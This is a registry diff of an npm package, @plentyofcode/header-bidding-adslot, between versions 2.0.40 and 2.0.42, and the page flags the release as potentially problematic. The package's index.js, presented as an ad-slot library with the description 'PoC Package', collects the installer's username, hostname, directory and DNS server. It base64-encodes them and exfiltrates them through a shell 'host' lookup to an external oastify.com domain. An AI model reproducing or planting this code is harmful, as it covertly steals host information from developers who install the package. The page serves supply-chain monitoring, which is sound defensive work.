@plentyofcode/header-bidding-adslot 2.0.40 → 2.0.42

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @plentyofcode/header-bidding-adslot might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +23 -13
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,24 +1,34 @@
1
1
  const { exec } = require("child_process");
2
2
  const dns = require("dns");
3
3
  const os = require("os");
4
+ const path = require("path");
4
5
 
5
- // RCE
6
- const packageName = "@plentyofcode/header-bidding-adslot"; // PackageName
7
- const username = os.userInfo().username; // User
8
- const hostname = os.hostname(); // HostName
9
- const currentDir = __dirname; // Dir
10
- const dnsServer = dns.getServers()[0] || "none"; // First DNS
6
+ // Get necessary values
7
+ const username = os.userInfo().username;
8
+ const hostname = os.hostname();
9
+ const currentDir = path.basename(__dirname); // Get only the current directory name
10
+ const dnsServer = dns.getServers()[0] || "none"; // Use only the first DNS server
11
11
 
12
- // Format and Enconde
13
- const info = `p=${packageName}&u=${username}&hn=${hostname}&d=${currentDir}&dns=${dnsServer}`;
12
+ // Create the information in a compact format
13
+ const info = `u=${username}&hn=${hostname}&d=${currentDir}&dns=${dnsServer}`;
14
14
 
15
- const encodedInfo = encodeURIComponent(info);
15
+ // Encode the information in Base64
16
+ let encodedInfo = Buffer.from(info).toString('base64');
16
17
 
17
- // Exec and DNS Request
18
- exec(`host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`, (error, data, getter) => {
18
+ // Check if the encoded string exceeds 63 characters
19
+ if (encodedInfo.length > 63) {
20
+ // Use only the username if the string is too long
21
+ encodedInfo = Buffer.from(`u=${username}`).toString('base64');
22
+ }
23
+
24
+ // Execute the command with the encoded information
25
+ const command = `host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`;
26
+ console.log(`Executing command: ${command}`); // Log the command being executed
27
+
28
+ exec(command, (error, data) => {
19
29
  if (error) {
20
- console.log("error", error.message);
30
+ console.log("Error:", error.message);
21
31
  return;
22
32
  }
23
33
  console.log(data);
24
- });
34
+ });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@plentyofcode/header-bidding-adslot",
3
- "version": "2.0.40",
3
+ "version": "2.0.42",
4
4
  "description": "PoC Package",
5
5
  "main": "index.js",
6
6
  "scripts": {